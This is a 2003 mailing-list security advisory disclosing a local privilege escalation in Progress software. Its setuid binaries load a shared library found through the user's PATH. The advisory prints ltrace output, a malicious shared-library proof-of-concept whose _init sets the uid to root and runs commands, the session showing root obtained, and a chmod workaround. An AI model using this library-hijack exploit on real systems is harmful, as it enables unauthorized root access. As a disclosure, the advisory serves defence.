[UNIX] Progress PATH Based dlopen() Issue

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To: list@securiteam.com
Date: 15 Jun 2003 12:13:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Progress PATH Based dlopen() Issue
------------------------------------------------------------------------

SUMMARY

Progress applications make the use of several helper .DLL and .so
binaries. When looking for shared object files for use in a dlopen
statement Progress choose to look in the users PATH. No verification is
performed upon the object that is located thus local non super users can
make themselves root. (Most binaries in /usr/dlc/bin can be exploited via
this method).

DETAILS

Exploit:
[elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
-rwsr-xr-x 1 root root 5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

getenv("DLC") = NULL
strcpy(0xbffff350, "libjutil.so") = 0xbffff350
memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
access("libjutil.so", 4) = -1
__errno_location() = 0x4212a620
getenv("PATH") =
"/usr/local/bin:/bin...
strcat("/usr/local/bin", "/") = "/usr/local/bin/"
strcat("/usr/local/bin/", "libjutil.so") =
"/usr/local/bin/libjutil.so"
access("/usr/local/bin/libjutil.so", 4) = -1
..
strcat("/home/elguapo/bin/", "libjutil.so")
"/home/elguapo/bin/libjutil.so"
access("/home/elguapo/bin/libjutil.so", 4) = 0

As you can see the library libjutil.so is searched for in the users PATH.
So we can create a shared library and exploit the vulnerability (code
provided by: <mailto:core[at]bokeoa.com> core[at]bokeoa.com):

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
  printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
  printf("This is a fake ehnLogClose\n");
}

_init() {
   setuid(0);
   setgid(0);
   printf("bull*** library loaded\n");
   system("/usr/bin/id > /tmp/p00p");
   system("cat /tmp/p00p");
}

[elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)
+0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
uid=0(root) gid=500(elguapo) groups=500(elguapo)

[elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

We can see it searches the PATH and finds nothing ...

getenv("PATH") = NULL
dlopen("libjutil.so", 258) = NULL
..
read(3, "Could not open Dynamic Library: "..., 81) = 81
malloc(51) = 0x084df718
dlerror() = "libjutil.so: cannot
open shared "...
lseek(3, 649134, 0) = 649134
read(3, "DLL Error : %s (8014)", 81) = 81

In the above example we just gave it a little help finding the .so The
dlsym command will help you determine which fake functions you need to
make the exploit work.

getenv("PATH") = "/tmp"
strcat("/tmp", "/") = "/tmp/"
strcat("/tmp/", "libjutil.so") = "/tmp/libjutil.so"
access("/tmp/libjutil.so", 4) = 0
dlopen("/tmp/libjutil.so", 258) = 0x084e1840
dlsym(0x084e1840, "ehnLogOpen") = 0x40013414
dlsym(0x084e1840, "ehnLogClose") = 0x4001345e
dlsym(0x084e1840, "ehnLogWrite") = 0x400134a8
dlsym(0x084e1840, "ehnLogDump") = 0x400134f2
dlsym(0x084e1840, "ehnLogGetProperties") = 0x4001353c
dlsym(0x084e1840, "ehnLogSetProperties") = 0x40013586
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)

Workaround:
Execute the following:
#chmod -s /usr/dlc/bin/*

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> KF.

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